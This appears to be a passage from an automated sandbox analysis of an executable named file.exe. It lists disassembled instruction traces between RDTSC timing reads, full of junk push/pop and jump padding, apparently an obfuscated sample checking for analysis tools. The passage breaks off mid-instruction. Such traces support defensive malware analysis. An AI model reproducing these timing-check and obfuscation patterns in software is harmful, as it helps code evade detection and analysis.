Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9079C second address: 4D9000B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9AEC795B51h 0x00000009 jmp 00007F9AEC795B4Bh 0x0000000e popfd 0x0000000f mov si, 79BFh 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 leave 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F9AEC795B50h 0x0000001e adc eax, 24FB08A8h 0x00000024 jmp 00007F9AEC795B4Bh 0x00000029 popfd 0x0000002a mov bx, ax 0x0000002d popad 0x0000002e retn 0004h 0x00000031 nop 0x00000032 sub esp, 04h 0x00000035 xor ebx, ebx 0x00000037 cmp eax, 00000000h 0x0000003a je 00007F9AEC795CCFh 0x00000040 xor eax, eax 0x00000042 mov dword ptr [esp], 00000000h 0x00000049 mov dword ptr [esp+04h], 00000000h 0x00000051 call 00007F9AF083EA5Bh 0x00000056 mov edi, edi 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b push ebx 0x0000005c pop ecx 0x0000005d movsx ebx, cx 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9000B second address: 4D90015 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 7F18A072h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90015 second address: 4D90085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F9AEC795B52h 0x0000000f or esi, 26765F88h 0x00000015 jmp 00007F9AEC795B4Bh 0x0000001a popfd 0x0000001b mov ax, DBFFh 0x0000001f popad 0x00000020 mov dword ptr [esp], ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov cx, di 0x00000029 pushfd 0x0000002a jmp 00007F9AEC795B53h 0x0000002f add si, EC7Eh 0x00000034 jmp 00007F9AEC795B59h 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90085 second address: 4D9008B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9008B second address: 4D9008F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9008F second address: 4D900B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F9AED3FF390h 0x00000012 pop eax 0x00000013 mov ecx, edx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900B0 second address: 4D90147 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, ABh 0x00000005 pushfd 0x00000006 jmp 00007F9AEC795B4Fh 0x0000000b xor esi, 6D28FBEEh 0x00000011 jmp 00007F9AEC795B59h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push FFFFFFFEh 0x0000001c jmp 00007F9AEC795B4Eh 0x00000021 push 425320C3h 0x00000026 jmp 00007F9AEC795B51h 0x0000002b xor dword ptr [esp], 34C9BE8Bh 0x00000032 pushad 0x00000033 mov eax, 01CF63F3h 0x00000038 jmp 00007F9AEC795B58h 0x0000003d popad 0x0000003e push 5F0A7315h 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F9AEC795B4Ch 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90147 second address: 4D9014D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9014D second address: 4D9018A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 178AB85Bh 0x0000000f jmp 00007F9AEC795B59h 0x00000014 mov eax, dword ptr fs:[00000000h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F9AEC795B4Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9018A second address: 4D9019A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AED3FF38Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90285 second address: 4D902AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9AEC795B55h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902AC second address: 4D902F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov bx, 49CEh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [769B4538h] 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F9AED3FF38Bh 0x00000018 add si, C27Eh 0x0000001d jmp 00007F9AED3FF399h 0x00000022 popfd 0x00000023 mov bh, cl 0x00000025 popad 0x00000026 xor dword ptr [ebp-08h], eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902F5 second address: 4D902F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902F9 second address: 4D902FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902FD second address: 4D90303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90303 second address: 4D90326 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF397h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90326 second address: 4D90336 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90336 second address: 4D9035A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF38Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9AED3FF391h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9035A second address: 4D9036A instructions: 0x00000000 rdtsc 0x00000002 mov cx, 1667h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9036A second address: 4D9036E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9036E second address: 4D90374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90374 second address: 4D903EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF391h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F9AED3FF38Eh 0x0000000f lea eax, dword ptr [ebp-10h] 0x00000012 jmp 00007F9AED3FF390h 0x00000017 mov dword ptr fs:[00000000h], eax 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F9AED3FF38Dh 0x00000024 and ax, BB96h 0x00000029 jmp 00007F9AED3FF391h 0x0000002e popfd 0x0000002f popad 0x00000030 mov dword ptr [ebp-18h], esp 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F9AED3FF38Dh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D903EA second address: 4D9041D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9AEC795B4Ah 0x00000009 jmp 00007F9AEC795B55h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov eax, dword ptr fs:[00000018h] 0x00000018 pushad 0x00000019 pushad 0x0000001a mov ecx, edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9041D second address: 4D9046D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ecx, dword ptr [eax+00000FDCh] 0x0000000c pushad 0x0000000d mov ebx, 50803F92h 0x00000012 jmp 00007F9AED3FF393h 0x00000017 popad 0x00000018 test ecx, ecx 0x0000001a pushad 0x0000001b mov edx, ecx 0x0000001d popad 0x0000001e jns 00007F9AED3FF3D6h 0x00000024 jmp 00007F9AED3FF38Dh 0x00000029 add eax, ecx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F9AED3FF38Dh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9046D second address: 4D90472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8002C second address: 4D80031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80031 second address: 4D800E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9AEC795B53h 0x00000011 sub si, E8DEh 0x00000016 jmp 00007F9AEC795B59h 0x0000001b popfd 0x0000001c mov eax, 350287A7h 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 pushad 0x00000024 mov dx, si 0x00000027 mov ax, 0BBBh 0x0000002b popad 0x0000002c mov ebp, esp 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F9AEC795B4Ch 0x00000035 sbb eax, 71CE7808h 0x0000003b jmp 00007F9AEC795B4Bh 0x00000040 popfd 0x00000041 mov ebx, ecx 0x00000043 popad 0x00000044 sub esp, 2Ch 0x00000047 pushad 0x00000048 movzx esi, dx 0x0000004b pushfd 0x0000004c jmp 00007F9AEC795B4Dh 0x00000051 or eax, 5D43FB26h 0x00000057 jmp 00007F9AEC795B51h 0x0000005c popfd 0x0000005d popad 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F9AEC795B4Dh 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800E2 second address: 4D800E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800E8 second address: 4D800EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800EC second address: 4D800FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800FB second address: 4D800FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D800FF second address: 4D80105 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80105 second address: 4D80151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F9AEC795B50h 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F9AEC795B4Dh 0x00000019 and eax, 34F0A746h 0x0000001f jmp 00007F9AEC795B51h 0x00000024 popfd 0x00000025 mov ch, F5h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80151 second address: 4D8016E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AED3FF399h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8016E second address: 4D80172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D801EF second address: 4D8022B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9AED3FF397h 0x00000009 xor ax, 33FEh 0x0000000e jmp 00007F9AED3FF399h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8022B second address: 4D8024E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 sub ebx, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F9AEC795B56h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8024E second address: 4D8025F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AED3FF38Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8025F second address: 4D802CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edi, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F9AEC795B58h 0x00000016 jmp 00007F9AEC795B55h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F9AEC795B50h 0x00000022 xor ax, E948h 0x00000027 jmp 00007F9AEC795B4Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D802CD second address: 4D802D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D802D3 second address: 4D802D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D802D7 second address: 4D802E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop edx 0x0000000e mov dh, al 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D802E8 second address: 4D80318 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F9AEC795B50h 0x00000010 je 00007F9AEC795D54h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80318 second address: 4D80335 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF399h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80335 second address: 4D80345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AEC795B4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80345 second address: 4D8035C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ecx, dword ptr [ebp-14h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9AED3FF38Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D803D2 second address: 4D803EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AEC795B54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D803EA second address: 4D803EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D803EE second address: 4D80403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov ecx, 6486CFA9h 0x0000000f push eax 0x00000010 push edx 0x00000011 mov cx, 86EBh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80403 second address: 4D80407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80492 second address: 4D804A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D804A1 second address: 4D804DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F9B5EFDD367h 0x00000010 pushad 0x00000011 jmp 00007F9AED3FF393h 0x00000016 push eax 0x00000017 push edx 0x00000018 call 00007F9AED3FF396h 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D804DE second address: 4D80561 instructions: 0x00000000 rdtsc 0x00000002 mov ax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 js 00007F9AEC795B7Ah 0x0000000e jmp 00007F9AEC795B4Dh 0x00000013 cmp dword ptr [ebp-14h], edi 0x00000016 jmp 00007F9AEC795B4Eh 0x0000001b jne 00007F9B5E373AD7h 0x00000021 jmp 00007F9AEC795B50h 0x00000026 mov ebx, dword ptr [ebp+08h] 0x00000029 pushad 0x0000002a mov esi, 199E9A3Dh 0x0000002f pushfd 0x00000030 jmp 00007F9AEC795B4Ah 0x00000035 adc eax, 09D1F018h 0x0000003b jmp 00007F9AEC795B4Bh 0x00000040 popfd 0x00000041 popad 0x00000042 lea eax, dword ptr [ebp-2Ch] 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F9AEC795B55h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80561 second address: 4D80608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9AED3FF397h 0x00000009 sub eax, 0FB3DA3Eh 0x0000000f jmp 00007F9AED3FF399h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b jmp 00007F9AED3FF38Ch 0x00000020 push eax 0x00000021 jmp 00007F9AED3FF38Bh 0x00000026 xchg eax, esi 0x00000027 pushad 0x00000028 jmp 00007F9AED3FF394h 0x0000002d mov di, ax 0x00000030 popad 0x00000031 nop 0x00000032 jmp 00007F9AED3FF38Ch 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007F9AED3FF38Ch 0x00000041 and si, E3F8h 0x00000046 jmp 00007F9AED3FF38Bh 0x0000004b popfd 0x0000004c mov si, F52Fh 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80608 second address: 4D8060E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8060E second address: 4D80652 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F9AED3FF393h 0x0000000e xchg eax, ebx 0x0000000f jmp 00007F9AED3FF396h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F9AED3FF38Eh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80652 second address: 4D80664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AEC795B4Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D806DD second address: 4D806E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 2249h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D806E6 second address: 4D70D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007F9B5E373AAEh 0x0000000d xor eax, eax 0x0000000f jmp 00007F9AEC76F27Ah 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 leave 0x00000018 retn 0004h 0x0000001b nop 0x0000001c sub esp, 04h 0x0000001f mov esi, eax 0x00000021 cmp esi, 00000000h 0x00000024 setne al 0x00000027 xor ebx, ebx 0x00000029 test al, 01h 0x0000002b jne 00007F9AEC795B47h 0x0000002d jmp 00007F9AEC795C8Bh 0x00000032 call 00007F9AF081F608h 0x00000037 mov edi, edi 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c mov dh, 15h 0x0000003e pushfd 0x0000003f jmp 00007F9AEC795B52h 0x00000044 or ch, 00000058h 0x00000047 jmp 00007F9AEC795B4Bh 0x0000004c popfd 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70D49 second address: 4D70D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70D4F second address: 4D70D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70D53 second address: 4D70D57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70D57 second address: 4D70D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F9AEC795B4Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F9AEC795B50h 0x00000016 mov ebp, esp 0x00000018 jmp 00007F9AEC795B50h 0x0000001d xchg eax, ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70D98 second address: 4D70D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70D9C second address: 4D70DB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70DB9 second address: 4D70E1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF391h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9AED3FF391h 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F9AED3FF393h 0x00000019 sbb si, 389Eh 0x0000001e jmp 00007F9AED3FF399h 0x00000023 popfd 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70E1A second address: 4D70E35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ax, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-04h], 55534552h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov bx, si 0x00000018 mov ebx, esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70E7E second address: 4D70E84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70E84 second address: 4D70E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70E88 second address: 4D80B19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a and bl, 00000001h 0x0000000d movzx eax, bl 0x00000010 add esp, 2Ch 0x00000013 pop esi 0x00000014 pop edi 0x00000015 pop ebx 0x00000016 pop ebp 0x00000017 ret 0x00000018 add esp, 04h 0x0000001b mov eax, dword ptr [esi+04h] 0x0000001e mov eax, dword ptr [00CFA3ACh+eax*4] 0x00000025 mov ecx, EDD7CB46h 0x0000002a xor ecx, dword ptr [00CFA3B4h] 0x00000030 add eax, ecx 0x00000032 inc eax 0x00000033 jmp eax 0x00000035 push ebx 0x00000036 call 00007F9AED428516h 0x0000003b push ebp 0x0000003c push ebx 0x0000003d push edi 0x0000003e push esi 0x0000003f sub esp, 00000218h 0x00000045 mov esi, dword ptr 